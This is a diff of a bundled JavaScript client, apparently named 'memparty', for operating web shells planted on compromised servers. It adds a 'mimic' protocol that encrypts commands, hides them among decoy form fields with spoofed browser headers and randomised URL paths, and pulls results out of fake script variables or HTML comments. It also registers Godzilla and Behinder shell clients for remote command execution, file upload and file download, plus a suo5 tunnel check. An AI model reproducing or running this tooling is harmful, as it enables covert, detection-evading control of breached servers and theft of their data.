if (req.secretIn !== void 0 && req.secretIn !== "body") {
|
|
2023
|
+
throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
|
|
2024
|
+
}
|
|
2025
|
+
}
|
|
2026
|
+
if (req.headers !== void 0) {
|
|
2027
|
+
for (const [k, v] of Object.entries(req.headers)) {
|
|
2028
|
+
if (typeof v !== "string" || !k) {
|
|
2029
|
+
throw new Error(`request[${ri}].headers must be a string map`);
|
|
2030
|
+
}
|
|
2031
|
+
}
|
|
2032
|
+
}
|
|
2033
|
+
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
2034
|
+
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
2035
|
+
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
2036
|
+
}
|
|
2037
|
+
if (f.name === req.secretField) {
|
|
2038
|
+
throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
|
|
2039
|
+
}
|
|
2040
|
+
}
|
|
2041
|
+
}
|
|
2042
|
+
if (profile.cipher !== void 0) {
|
|
2043
|
+
const c = profile.cipher;
|
|
2044
|
+
if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
|
|
2045
|
+
throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
|
|
2046
|
+
}
|
|
2047
|
+
if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
|
|
2048
|
+
throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
|
|
2049
|
+
}
|
|
2050
|
+
if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
|
|
2051
|
+
throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
|
|
2052
|
+
}
|
|
2053
|
+
if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
|
|
2054
|
+
throw new Error("cipher.padTail must be a boolean");
|
|
2055
|
+
}
|
|
2056
|
+
}
|
|
2057
|
+
}
|
|
2058
|
+
function loadProfile(name) {
|
|
2059
|
+
const path = profilePath(name);
|
|
2060
|
+
if (!existsSync2(path)) {
|
|
2061
|
+
throw new Error(
|
|
2062
|
+
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
2063
|
+
);
|
|
2064
|
+
}
|
|
2065
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
2066
|
+
validateProfile(profile);
|
|
2067
|
+
return profile;
|
|
2068
|
+
}
|
|
2069
|
+
function listProfiles() {
|
|
2070
|
+
const dir = profilesDir();
|
|
2071
|
+
if (!existsSync2(dir)) return [];
|
|
2072
|
+
return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
|
|
2073
|
+
}
|
|
2074
|
+
|
|
2075
|
+
// src/connect/mimic-codecs.ts
|
|
2076
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2077
|
+
var LEGACY_CIPHER = {
|
|
2078
|
+
algorithm: "aes-ecb",
|
|
2079
|
+
encoding: "base64",
|
|
2080
|
+
padTail: false,
|
|
2081
|
+
marker: "js-var"
|
|
2082
|
+
};
|
|
2083
|
+
function resolveCipher(partial) {
|
|
2084
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2085
|
+
}
|
|
2086
|
+
function xorCrypt(data, key) {
|
|
2087
|
+
const out = Buffer.alloc(data.length);
|
|
2088
|
+
for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
|
|
2089
|
+
return out;
|
|
2090
|
+
}
|
|
2091
|
+
function crypt(data, aesKey, enc, algorithm) {
|
|
2092
|
+
switch (algorithm) {
|
|
2093
|
+
case "aes-ecb":
|
|
2094
|
+
return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
|
|
2095
|
+
case "aes-cbc": {
|
|
2096
|
+
const key = Buffer.from(aesKey, "utf8");
|
|
2097
|
+
if (enc) {
|
|
2098
|
+
const iv = randomBytes3(16);
|
|
2099
|
+
const c = createCipheriv2("aes-128-cbc", key, iv);
|
|
2100
|
+
return Buffer.concat([iv, c.update(data), c.final()]);
|
|
2101
|
+
}
|
|
2102
|
+
const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
|
|
2103
|
+
return Buffer.concat([d.update(data.subarray(16)), d.final()]);
|
|
2104
|
+
}
|
|
2105
|
+
case "xor":
|
|
2106
|
+
return xorCrypt(data, Buffer.from(aesKey, "utf8"));
|
|
2107
|
+
}
|
|
2108
|
+
}
|
|
2109
|
+
function encodeBytes(data, encoding) {
|
|
2110
|
+
switch (encoding) {
|
|
2111
|
+
case "base64":
|
|
2112
|
+
return data.toString("base64");
|
|
2113
|
+
case "base64url":
|
|
2114
|
+
return base64UrlEncode(data);
|
|
2115
|
+
case "hex":
|
|
2116
|
+
return data.toString("hex");
|
|
2117
|
+
}
|
|
2118
|
+
}
|
|
2119
|
+
function decodeString(text, encoding) {
|
|
2120
|
+
switch (encoding) {
|
|
2121
|
+
case "base64":
|
|
2122
|
+
return Buffer.from(text, "base64");
|
|
2123
|
+
case "base64url":
|
|
2124
|
+
return base64UrlDecode(text);
|
|
2125
|
+
case "hex":
|
|
2126
|
+
return Buffer.from(text, "hex");
|
|
2127
|
+
}
|
|
2128
|
+
}
|
|
2129
|
+
function padTailLength(aesKey) {
|
|
2130
|
+
return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
|
|
2131
|
+
}
|
|
2132
|
+
var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
2133
|
+
function appendPad(text, aesKey) {
|
|
2134
|
+
const n = padTailLength(aesKey);
|
|
2135
|
+
if (n === 0) return text;
|
|
2136
|
+
const raw = randomBytes3(n);
|
|
2137
|
+
let tail = "";
|
|
2138
|
+
for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
|
|
2139
|
+
return text + tail;
|
|
2140
|
+
}
|
|
2141
|
+
function stripPad(text, aesKey) {
|
|
2142
|
+
const n = padTailLength(aesKey);
|
|
2143
|
+
return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
|
|
2144
|
+
}
|
|
2145
|
+
function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2146
|
+
let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
|
|
2147
|
+
if (cipher.padTail) out = appendPad(out, aesKey);
|
|
2148
|
+
return out;
|
|
2149
|
+
}
|
|
2150
|
+
function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2151
|
+
let text = value;
|
|
2152
|
+
if (cipher.padTail) text = stripPad(text, aesKey);
|
|
2153
|
+
return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
|
|
2154
|
+
}
|
|
2155
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2156
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2157
|
+
if (cipher.marker === "html-comment") {
|
|
2158
|
+
const left2 = `<!--Re${id}_config:`;
|
|
2159
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2160
|
+
}
|
|
2161
|
+
const left = `var Re${id}_config="`;
|
|
2162
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2163
|
+
}
|
|
2164
|
+
|
|
2165
|
+
// src/connect/mimic-shared.ts
|
|
2166
|
+
import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
|
|
2167
|
+
function deriveAesKey(secretKey) {
|
|
2168
|
+
return md5Key16(secretKey);
|
|
2169
|
+
}
|
|
2170
|
+
function renderFieldValue(value) {
|
|
2171
|
+
return value.replaceAll(
|
|
2172
|
+
/\{\{hex:(\d+)\}\}/g,
|
|
2173
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
2174
|
+
).replaceAll(
|
|
2175
|
+
/\{\{b64:(\d+)\}\}/g,
|
|
2176
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
2177
|
+
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
2178
|
+
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
2179
|
+
(_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
|
|
2180
|
+
);
|
|
2181
|
+
}
|
|
2182
|
+
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2183
|
+
return encryptField(plaintext, aesKey, cipher);
|
|
2184
|
+
}
|
|
2185
|
+
function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2186
|
+
return decryptField(value, aesKey, cipher);
|
|
2187
|
+
}
|
|
2188
|
+
function buildFormBody(fields) {
|
|
2189
|
+
return Buffer.from(
|
|
2190
|
+
fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
|
|
2191
|
+
"utf8"
|
|
2192
|
+
);
|
|
2193
|
+
}
|
|
2194
|
+
function buildJsonBody(fields) {
|
|
2195
|
+
const obj = {};
|
|
2196
|
+
for (const f of fields) obj[f.name] = f.value;
|
|
2197
|
+
return Buffer.from(JSON.stringify(obj), "utf8");
|
|
2198
|
+
}
|
|
2199
|
+
function renderBodyTemplate(template, payload) {
|
|
2200
|
+
return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
|
|
2201
|
+
}
|
|
2202
|
+
function extractBetween(text, left, right) {
|
|
2203
|
+
const start = text.indexOf(left);
|
|
2204
|
+
if (start === -1) return null;
|
|
2205
|
+
const valueStart = start + left.length;
|
|
2206
|
+
if (right === "") return text.slice(valueStart);
|
|
2207
|
+
const end = text.indexOf(right, valueStart);
|
|
2208
|
+
if (end === -1) return null;
|
|
2209
|
+
return text.slice(valueStart, end);
|
|
2210
|
+
}
|
|
2211
|
+
function templateDelimiters(templates, markers) {
|
|
2212
|
+
const out = [];
|
|
2213
|
+
let markerUsed = false;
|
|
2214
|
+
for (const t of templates) {
|
|
2215
|
+
const idx = t.template.indexOf("{{payload}}");
|
|
2216
|
+
if (idx !== -1) {
|
|
2217
|
+
out.push({
|
|
2218
|
+
left: t.template.slice(0, idx),
|
|
2219
|
+
right: t.template.slice(idx + "{{payload}}".length)
|
|
2220
|
+
});
|
|
2221
|
+
} else if (!markerUsed) {
|
|
2222
|
+
out.push({ left: markers.left, right: markers.right });
|
|
2223
|
+
markerUsed = true;
|
|
2224
|
+
}
|
|
2225
|
+
}
|
|
2226
|
+
if (out.length === 0) out.push({ left: markers.left, right: markers.right });
|
|
2227
|
+
return out;
|
|
2228
|
+
}
|
|
2229
|
+
|
|
2230
|
+
// src/connect/mimic.ts
|
|
2231
|
+
var BROWSER_HEADERS = {
|
|
2232
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
|
|
2233
|
+
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
2234
|
+
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
|
|
2235
|
+
"Content-Type": "application/x-www-form-urlencoded"
|
|
2236
|
+
};
|
|
2237
|
+
function buildContext(req) {
|
|
2238
|
+
const pass = req.conn.pass ?? "pass";
|
|
2239
|
+
const secretKey = req.conn.key ?? "key";
|
|
2240
|
+
let profile;
|
|
2241
|
+
const profileName = req.options.profile ?? req.conn.profile;
|
|
2242
|
+
if (profileName) {
|
|
2243
|
+
profile = loadProfile(profileName);
|
|
2244
|
+
}
|
|
2245
|
+
const cipher = resolveCipher(profile?.cipher);
|
|
2246
|
+
return {
|
|
2247
|
+
pass,
|
|
2248
|
+
aesKey: deriveAesKey(secretKey),
|
|
2249
|
+
cipher,
|
|
2250
|
+
markers: deriveMarkers(pass, secretKey, cipher),
|
|
2251
|
+
profile,
|
|
2252
|
+
dynamicPath: req.options.dynamicPath ?? false
|
|
2253
|
+
};
|
|
2254
|
+
}
|
|
2255
|
+
function pickRequestUrl(connUrl, ctx) {
|
|
2256
|
+
if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
|
|
2257
|
+
return connUrl;
|
|
2258
|
+
}
|
|
2259
|
+
const origin = new URL(connUrl).origin;
|
|
2260
|
+
const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
|
|
2261
|
+
const slug = randomString(8).toLowerCase();
|
|
2262
|
+
return `${origin}${dir}${slug}`;
|
|
2263
|
+
}
|
|
2264
|
+
async function roundTrip(req, ctx, plaintext) {
|
|
2265
|
+
let requestUrl = pickRequestUrl(req.conn.url, ctx);
|
|
2266
|
+
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
2267
|
+
const secretField = shape?.secretField ?? ctx.pass;
|
|
2268
|
+
const secretIn = shape?.secretIn ?? "body";
|
|
2269
|
+
const bodyStyle = shape?.bodyStyle ?? "form";
|
|
2270
|
+
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
2271
|
+
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
2272
|
+
name: f.name,
|
|
2273
|
+
value: renderFieldValue(f.value)
|
|
2274
|
+
}));
|
|
2275
|
+
let body;
|
|
2276
|
+
const extraHeaders = {};
|
|
2277
|
+
if (secretIn === "query") {
|
|
2278
|
+
const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
|
|
2279
|
+
requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
|
|
2280
|
+
body = Buffer.alloc(0);
|
|
2281
|
+
} else if (secretIn === "header") {
|
|
2282
|
+
extraHeaders[secretField] = cipher;
|
|
2283
|
+
body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
|
|
2284
|
+
} else if (shape?.bodyTemplate) {
|
|
2285
|
+
body = renderBodyTemplate(shape.bodyTemplate, cipher);
|
|
2286
|
+
} else {
|
|
2287
|
+
body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
2288
|
+
}
|
|
2289
|
+
const baseHeaders = { ...BROWSER_HEADERS };
|
|
2290
|
+
if (secretIn === "query") delete baseHeaders["Content-Type"];
|
|
2291
|
+
else if (shape?.bodyTemplate) {
|
|
2292
|
+
const t = shape.bodyTemplate.trimStart();
|
|
2293
|
+
if (t.startsWith("--")) {
|
|
2294
|
+
const boundary = t.split(/\r?\n/, 1)[0].slice(2);
|
|
2295
|
+
baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
|
|
2296
|
+
} else {
|
|
2297
|
+
const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
|
|
2298
|
+
if (inferred) baseHeaders["Content-Type"] = inferred;
|
|
2299
|
+
else delete baseHeaders["Content-Type"];
|
|
2300
|
+
}
|
|
2301
|
+
} else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
|
|
2302
|
+
const headers = buildHeaders(
|
|
2303
|
+
{ ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
|
|
2304
|
+
req.common
|
|
2305
|
+
);
|
|
2306
|
+
let res;
|
|
2307
|
+
try {
|
|
2308
|
+
res = await postRaw(requestUrl, body, {
|
|
2309
|
+
headers,
|
|
2310
|
+
timeoutMs: req.common.timeoutMs,
|
|
2311
|
+
insecure: req.common.insecure
|
|
2312
|
+
});
|
|
2313
|
+
} catch (err) {
|
|
2314
|
+
return {
|
|
2315
|
+
ok: false,
|
|
2316
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2317
|
+
requestUrl,
|
|
2318
|
+
status: 0,
|
|
2319
|
+
durationMs: 0
|
|
2320
|
+
};
|
|
2321
|
+
}
|
|
2322
|
+
if (res.status !== 200) {
|
|
2323
|
+
return {
|
|
2324
|
+
ok: false,
|
|
2325
|
+
error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
|
|
2326
|
+
requestUrl,
|
|
2327
|
+
status: res.status,
|
|
2328
|
+
durationMs: res.durationMs
|
|
2329
|
+
};
|
|
2330
|
+
}
|
|
2331
|
+
const text = res.body.toString("utf8");
|
|
2332
|
+
const delimiters = templateDelimiters(
|
|
2333
|
+
ctx.profile ? profileTemplates(ctx.profile) : [],
|
|
2334
|
+
ctx.markers
|
|
2335
|
+
);
|
|
2336
|
+
let b64 = null;
|
|
2337
|
+
for (const d of delimiters) {
|
|
2338
|
+
b64 = extractBetween(text, d.left, d.right);
|
|
2339
|
+
if (b64 !== null) break;
|
|
2340
|
+
}
|
|
2341
|
+
if (b64 === null) {
|
|
2342
|
+
return {
|
|
2343
|
+
ok: false,
|
|
2344
|
+
error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
|
|
2345
|
+
requestUrl,
|
|
2346
|
+
status: res.status,
|
|
2347
|
+
durationMs: res.durationMs
|
|
2348
|
+
};
|
|
2349
|
+
}
|
|
2350
|
+
try {
|
|
2351
|
+
const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
|
|
2352
|
+
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
2353
|
+
} catch {
|
|
2354
|
+
return {
|
|
2355
|
+
ok: false,
|
|
2356
|
+
error: "response decryption failed \u2014 wrong key?",
|
|
2357
|
+
requestUrl,
|
|
2358
|
+
status: res.status,
|
|
2359
|
+
durationMs: res.durationMs
|
|
2360
|
+
};
|
|
2361
|
+
}
|
|
2362
|
+
}
|
|
2363
|
+
var mimicProtocol = {
|
|
2364
|
+
name: "mimic",
|
|
2365
|
+
description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
|
|
2366
|
+
async test(req) {
|
|
2367
|
+
const started = Date.now();
|
|
2368
|
+
const tool = "mimic";
|
|
2369
|
+
const url = req.conn.url;
|
|
2370
|
+
let ctx;
|
|
2371
|
+
try {
|
|
2372
|
+
ctx = buildContext(req);
|
|
2373
|
+
} catch (err) {
|
|
2374
|
+
return {
|
|
2375
|
+
ok: false,
|
|
2376
|
+
tool,
|
|
2377
|
+
url,
|
|
2378
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2379
|
+
durationMs: Date.now() - started
|
|
2380
|
+
};
|
|
2381
|
+
}
|
|
2382
|
+
const canary = randomString(12);
|
|
2383
|
+
const r = await roundTrip(req, ctx, `echo ${canary}`);
|
|
2384
|
+
if (!r.ok) {
|
|
2385
|
+
return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
|
|
2386
|
+
}
|
|
2387
|
+
if (!r.output.includes(canary)) {
|
|
2388
|
+
return {
|
|
2389
|
+
ok: false,
|
|
2390
|
+
tool,
|
|
2391
|
+
url,
|
|
2392
|
+
error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
|
|
2393
|
+
durationMs: Date.now() - started
|
|
2394
|
+
};
|
|
2395
|
+
}
|
|
2396
|
+
const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
|
|
2397
|
+
const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
|
|
2398
|
+
return {
|
|
2399
|
+
ok: true,
|
|
2400
|
+
tool,
|
|
2401
|
+
url,
|
|
2402
|
+
detail: `round-trip ok (${profileNote}; ${pathNote})`,
|
|
2403
|
+
durationMs: Date.now() - started
|
|
2404
|
+
};
|
|
2405
|
+
},
|
|
2406
|
+
async exec(req, command) {
|
|
2407
|
+
const started = Date.now();
|
|
2408
|
+
const tool = "mimic";
|
|
2409
|
+
const url = req.conn.url;
|
|
2410
|
+
let ctx;
|
|
2411
|
+
try {
|
|
2412
|
+
ctx = buildContext(req);
|
|
2413
|
+
} catch (err) {
|
|
2414
|
+
return {
|
|
2415
|
+
ok: false,
|
|
2416
|
+
tool,
|
|
2417
|
+
url,
|
|
2418
|
+
command,
|
|
2419
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2420
|
+
durationMs: Date.now() - started
|
|
2421
|
+
};
|
|
2422
|
+
}
|
|
2423
|
+
const r = await roundTrip(req, ctx, command);
|
|
2424
|
+
if (!r.ok) {
|
|
2425
|
+
return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
|
|
2426
|
+
}
|
|
2427
|
+
return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
|
|
2428
|
+
}
|
|
2429
|
+
};
|
|
2430
|
+
|
|
2431
|
+
// src/connect/registry.ts
|
|
2432
|
+
var protocols = /* @__PURE__ */ new Map();
|
|
2433
|
+
function registerProtocol(protocol) {
|
|
2434
|
+
protocols.set(protocol.name, protocol);
|
|
2435
|
+
}
|
|
2436
|
+
function getProtocol(name) {
|
|
2437
|
+
return protocols.get(name);
|
|
2438
|
+
}
|
|
2439
|
+
function protocolNames(capability) {
|
|
2440
|
+
const all = [...protocols.values()];
|
|
2441
|
+
const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
|
|
2442
|
+
return usable.map((p) => p.name);
|
|
2443
|
+
}
|
|
2444
|
+
function requireProtocol(name) {
|
|
2445
|
+
const protocol = getProtocol(name);
|
|
2446
|
+
if (!protocol) {
|
|
2447
|
+
throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
|
|
2448
|
+
}
|
|
2449
|
+
return protocol;
|
|
2450
|
+
}
|
|
2451
|
+
function unsupportedMessage(protocol, capability) {
|
|
2452
|
+
return `protocol '${protocol.name}' does not support ${capability}`;
|
|
2453
|
+
}
|
|
2454
|
+
var godzillaProtocol = {
|
|
2455
|
+
name: "godzilla",
|
|
2456
|
+
description: "Godzilla JAVA_AES_BASE64 shell",
|
|
2457
|
+
test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
|
|
2458
|
+
exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
|
|
2459
|
+
...common,
|
|
2460
|
+
os: options.os
|
|
2461
|
+
}),
|
|
2462
|
+
upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
|
|
2463
|
+
...common,
|
|
2464
|
+
remoteCharset: options.remoteCharset
|
|
2465
|
+
}),
|
|
2466
|
+
download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
|
|
2467
|
+
...common,
|
|
2468
|
+
remoteCharset: options.remoteCharset
|
|
2469
|
+
})
|
|
2470
|
+
};
|
|
2471
|
+
var behinderProtocol = {
|
|
2472
|
+
name: "behinder",
|
|
2473
|
+
description: "Behinder AES shell",
|
|
2474
|
+
test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
|
|
2475
|
+
exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
|
|
2476
|
+
upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
|
|
2477
|
+
download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
|
|
2478
|
+
};
|
|
2479
|
+
var suo5Protocol = {
|
|
2480
|
+
name: "suo5",
|
|
2481
|
+
description: "suo5 HTTP tunnel (connect test only)",
|
|
2482
|
+
test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
|
|
2483
|
+
};
|
|
2484
|
+
registerProtocol(godzillaProtocol);
|
|
2485
|
+
registerProtocol(behinderProtocol);
|
|
2486
|
+
registerProtocol(suo5Protocol);
|
|
2487
|
+
registerProtocol(mimicProtocol);
|
|
2488
|
+
|
|
1650
2489
|
// src/core/localfile.ts
|
|
1651
|
-
import { existsSync as
|
|
1652
|
-
import { dirname as dirname2, join as
|
|
2490
|
+
import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
|
|
2491
|
+
import { dirname as dirname2, join as join4, resolve } from "path";
|
|
1653
2492
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
1654
2493
|
function remoteBasename(remotePath) {
|
|
1655
2494
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -1666,18 +2505,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1666
2505
|
);
|
|
1667
2506
|
}
|
|
1668
2507
|
target = name;
|
|
1669
|
-
} else if (
|
|
2508
|
+
} else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
|
|
1670
2509
|
if (!name) {
|
|
1671
2510
|
throw new Error(
|
|
1672
2511
|
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
1673
2512
|
);
|
|
1674
2513
|
}
|
|
1675
|
-
target =
|
|
2514
|
+
target = join4(localArg, name);
|
|
1676
2515
|
} else {
|
|
1677
2516
|
target = localArg;
|
|
1678
2517
|
}
|
|
1679
2518
|
const abs = resolve(target);
|
|
1680
|
-
if (
|
|
2519
|
+
if (existsSync3(abs)) {
|
|
1681
2520
|
if (statSync(abs).isDirectory()) {
|
|
1682
2521
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
1683
2522
|
}
|
|
@@ -1686,13 +2525,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1686
2525
|
}
|
|
1687
2526
|
}
|
|
1688
2527
|
const parent = dirname2(abs);
|
|
1689
|
-
if (!
|
|
2528
|
+
if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
|
|
1690
2529
|
throw new Error(`local directory ${parent} does not exist`);
|
|
1691
2530
|
}
|
|
1692
2531
|
return abs;
|
|
1693
2532
|
}
|
|
1694
2533
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
1695
|
-
if (!
|
|
2534
|
+
if (!existsSync3(localPath)) {
|
|
1696
2535
|
throw new Error(`local file ${localPath} does not exist`);
|
|
1697
2536
|
}
|
|
1698
2537
|
const stat = statSync(localPath);
|
|
@@ -1704,29 +2543,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
1704
2543
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
1705
2544
|
);
|
|
1706
2545
|
}
|
|
1707
|
-
return
|
|
2546
|
+
return readFileSync4(localPath);
|
|
1708
2547
|
}
|
|
1709
2548
|
|
|
1710
2549
|
// src/core/targets.ts
|
|
1711
|
-
import { existsSync as
|
|
1712
|
-
import { homedir as
|
|
1713
|
-
import { dirname as dirname3, join as
|
|
1714
|
-
var
|
|
2550
|
+
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2551
|
+
import { homedir as homedir4 } from "os";
|
|
2552
|
+
import { dirname as dirname3, join as join5 } from "path";
|
|
2553
|
+
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1715
2554
|
function checkName(kind, name) {
|
|
1716
|
-
if (!
|
|
2555
|
+
if (!NAME_RE2.test(name)) {
|
|
1717
2556
|
throw new Error(
|
|
1718
2557
|
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1719
2558
|
);
|
|
1720
2559
|
}
|
|
1721
2560
|
}
|
|
1722
2561
|
function targetStorePath() {
|
|
1723
|
-
return process.env.MEMPARTY_TARGETS ??
|
|
2562
|
+
return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
|
|
1724
2563
|
}
|
|
1725
2564
|
function listProjects() {
|
|
1726
2565
|
try {
|
|
1727
2566
|
const file = targetStorePath();
|
|
1728
|
-
if (!
|
|
1729
|
-
const data = JSON.parse(
|
|
2567
|
+
if (!existsSync4(file)) return {};
|
|
2568
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
1730
2569
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1731
2570
|
return data;
|
|
1732
2571
|
}
|
|
@@ -1739,8 +2578,8 @@ function getProject(name) {
|
|
|
1739
2578
|
}
|
|
1740
2579
|
function writeProjects(projects) {
|
|
1741
2580
|
const file = targetStorePath();
|
|
1742
|
-
|
|
1743
|
-
|
|
2581
|
+
mkdirSync3(dirname3(file), { recursive: true });
|
|
2582
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
1744
2583
|
`, { mode: 384 });
|
|
1745
2584
|
}
|
|
1746
2585
|
function saveProjectMeta(name, meta) {
|
|
@@ -1848,7 +2687,8 @@ function autoSaveShell(conn) {
|
|
|
1848
2687
|
headerValue: conn.headerValue,
|
|
1849
2688
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1850
2689
|
insecure: conn.insecure,
|
|
1851
|
-
profile: conn.profile
|
|
2690
|
+
profile: conn.profile,
|
|
2691
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
1852
2692
|
});
|
|
1853
2693
|
return `${projectName}/${shellName}`;
|
|
1854
2694
|
}
|
|
